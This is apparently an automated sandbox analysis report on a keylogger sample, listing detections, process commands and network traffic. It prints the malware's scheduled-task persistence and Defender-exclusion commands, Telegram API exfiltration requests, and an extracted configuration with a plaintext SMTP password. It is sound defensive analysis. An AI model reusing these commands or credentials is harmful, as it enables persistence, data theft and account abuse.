Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\2i3Lj7a8Gk.exe", ParentImage: C:\Users\user\Desktop\2i3Lj7a8Gk.exe, ParentProcessId: 6360, ParentProcessName: 2i3Lj7a8Gk.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp", ProcessId: 3288, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\2i3Lj7a8Gk.exe", ParentImage: C:\Users\user\Desktop\2i3Lj7a8Gk.exe, ParentProcessId: 6360, ParentProcessName: 2i3Lj7a8Gk.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe", ProcessId: 5768, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\2i3Lj7a8Gk.exe", ParentImage: C:\Users\user\Desktop\2i3Lj7a8Gk.exe, ParentProcessId: 6360, ParentProcessName: 2i3Lj7a8Gk.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp", ProcessId: 3288, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T08:51:21.294932+0200	2803305	3	Unknown Traffic	192.168.2.4	49736	188.114.96.3	443	TCP
2024-10-07T08:51:24.110935+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	443	TCP
2024-10-07T08:51:25.444864+0200	2803305	3	Unknown Traffic	192.168.2.4	49746	188.114.96.3	443	TCP
2024-10-07T08:51:26.714920+0200	2803305	3	Unknown Traffic	192.168.2.4	49750	188.114.96.3	443	TCP
2024-10-07T08:51:27.946696+0200	2803305	3	Unknown Traffic	192.168.2.4	49753	188.114.96.3	443	TCP
2024-10-07T08:51:29.222035+0200	2803305	3	Unknown Traffic	192.168.2.4	49757	188.114.96.3	443	TCP
2024-10-07T08:51:29.280345+0200	2803305	3	Unknown Traffic	192.168.2.4	49758	188.114.96.3	443	TCP
2024-10-07T08:51:30.604522+0200	2803305	3	Unknown Traffic	192.168.2.4	49762	188.114.96.3	443	TCP
2024-10-07T08:51:31.916052+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	443	TCP
2024-10-07T08:51:33.222156+0200	2803305	3	Unknown Traffic	192.168.2.4	49769	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T08:51:19.642490+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	132.226.247.73	80	TCP
2024-10-07T08:51:20.903264+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	132.226.247.73	80	TCP
2024-10-07T08:51:22.095609+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49737	132.226.247.73	80	TCP
2024-10-07T08:51:23.986288+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	132.226.247.73	80	TCP
2024-10-07T08:51:24.876852+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	132.226.247.73	80	TCP
2024-10-07T08:51:26.173750+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49748	132.226.247.73	80	TCP
2024-10-07T08:51:27.439405+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49752	132.226.247.73	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://aborters.duckdns.org:8081	URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081	URL Reputation: Label: malware

Found malware configuration

Source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "info@precioustouchfoundation.org", "Password": "Pr3c!0Us2007", "Host": "mail.precioustouchfoundation.org", "Port": "587", "Version": "4.4"}
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "info@precioustouchfoundation.org", "Password": "Pr3c!0Us2007", "Host": "mail.precioustouchfoundation.org", "Port": "587"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

ReversingLabs: Detection: 79%

Multi AV Scanner detection for submitted file

Source: 2i3Lj7a8Gk.exe	ReversingLabs: Detection: 79%
Source: 2i3Lj7a8Gk.exe	Virustotal: Detection: 41%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: 2i3Lj7a8Gk.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49775 version: TLS 1.2

Source: 2i3Lj7a8Gk.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: OQhQ.pdb source: 2i3Lj7a8Gk.exe, lyNyKapwZJLKnn.exe.0.dr
Source:	Binary string: OQhQ.pdbSHA256 source: 2i3Lj7a8Gk.exe, lyNyKapwZJLKnn.exe.0.dr

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 02F0F45Dh	6_2_02F0F2C0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 02F0F45Dh	6_2_02F0F4AC
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 02F0FC19h	6_2_02F0F970
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CF31E0h	6_2_06CF2DC8
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CF0D0Dh	6_2_06CF0B30
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CF1697h	6_2_06CF0B30
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CF2C19h	6_2_06CF2968
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFE959h	6_2_06CFE6B0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFE0A9h	6_2_06CFDE00
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFF209h	6_2_06CFEF60
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFCF49h	6_2_06CFCCA0
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CF31E0h	6_2_06CF2DC2
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFD7F9h	6_2_06CFD550
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFE501h	6_2_06CFE258
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFF661h	6_2_06CFF3B8
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFEDB1h	6_2_06CFEB08
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFD3A1h	6_2_06CFD0F8
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_06CF0040
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFFAB9h	6_2_06CFF810
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CFDC51h	6_2_06CFD9A8
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Code function: 4x nop then jmp 06CF31E0h	6_2_06CF310E
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 4x nop then jmp 0114F45Dh	13_2_0114F2C0
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 4x nop then jmp 0114F45Dh	13_2_0114F52F
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 4x nop then jmp 0114F45Dh	13_2_0114F4AC
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Code function: 4x nop then jmp 0114FC19h	13_2_0114F961

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:50126 -> 68.66.224.41:587

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2007/10/2024%20/%2015:26:03%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2007/10/2024%20/%2014:46:36%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: A2HOSTINGUS A2HOSTINGUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49737 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49752 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49741 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49748 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49762 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49757 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49750 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49753 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49769 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49758 -> 188.114.96.3:443

Source: global traffic

TCP traffic: 192.168.2.4:50126 -> 68.66.224.41:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2007/10/2024%20/%2015:26:03%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2007/10/2024%20/%2014:46:36%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
